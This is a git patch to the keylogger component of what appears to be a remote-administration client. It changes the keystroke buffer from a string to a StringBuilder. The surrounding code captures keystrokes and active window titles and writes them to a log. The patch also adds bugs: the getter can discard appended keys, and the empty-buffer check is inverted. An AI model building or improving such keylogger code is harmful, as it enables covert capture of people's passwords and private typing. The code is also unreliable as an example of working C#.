From 437747a9df4c48a27dc1e4be47b365141d9c2dee Mon Sep 17 00:00:00 2001 From: yankejustin Date: Mon, 4 May 2015 12:21:04 -0400 Subject: [PATCH] Improved the the keylogger's key buffer Used a StringBuilder instead of a normal string as the key buffer to drastically improve the performance. Having a string as the key buffer would mean that every single addition would be exponentially slower. --- Client/Core/Keylogger/Logger.cs | 27 ++++++++++++++------------- 1 file changed, 14 insertions(+), 13 deletions(-) diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index b0ade996..2a1e188f 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -63,7 +63,8 @@ private static bool CapsLock } } - private string _keyBuffer; + private StringBuilder _keyBuffer_; + private StringBuilder _keyBuffer { get { return _keyBuffer_ ?? new StringBuilder(); } set { _keyBuffer_ = value; } } private string _hWndTitle; private string _hWndLastTitle; @@ -141,26 +142,26 @@ private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs { _hWndLastTitle = _hWndTitle; - _keyBuffer += "

[" + _hWndTitle + "]
"; + _keyBuffer.Append("

[" + _hWndTitle + "]
"); } } switch (i) { case 8: - _keyBuffer += "[Back]"; + _keyBuffer.Append("[Back]"); return; case 9: - _keyBuffer += "[Tab]"; + _keyBuffer.Append("[Tab]"); return; case 13: - _keyBuffer += "[Enter]
"; + _keyBuffer.Append("[Enter]
"); return; case 32: - _keyBuffer += " "; + _keyBuffer.Append(" "); return; case 46: - _keyBuffer += "[Del]"; + _keyBuffer.Append("[Del]"); return; } @@ -168,21 +169,21 @@ private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs { if (ShiftKey && CapsLock) //If the state of Shiftkey is down and Capslock is toggled on { - _keyBuffer += FromKeys(i, true, true); + _keyBuffer.Append(FromKeys(i, true, true)); return; } if (ShiftKey) //If only the Shiftkey is pressed { - _keyBuffer += FromKeys(i, true, false); + _keyBuffer.Append(FromKeys(i, true, false)); return; } if (CapsLock) //If only Capslock is toggled on { - _keyBuffer += FromKeys(i, false, true); + _keyBuffer.Append(FromKeys(i, false, true)); return; } - _keyBuffer += FromKeys(i, false, false); + _keyBuffer.Append(FromKeys(i, false, false)); return; } } @@ -221,7 +222,7 @@ private void WriteFile() "Log created on " + DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "
"); - if (_keyBuffer != "") + if (string.IsNullOrEmpty(_keyBuffer.ToString())) sw.Write(_keyBuffer); _hWndLastTitle = ""; @@ -239,7 +240,7 @@ private void WriteFile() { } - _keyBuffer = ""; + _keyBuffer = new StringBuilder(); } private string GetActiveWindowTitle()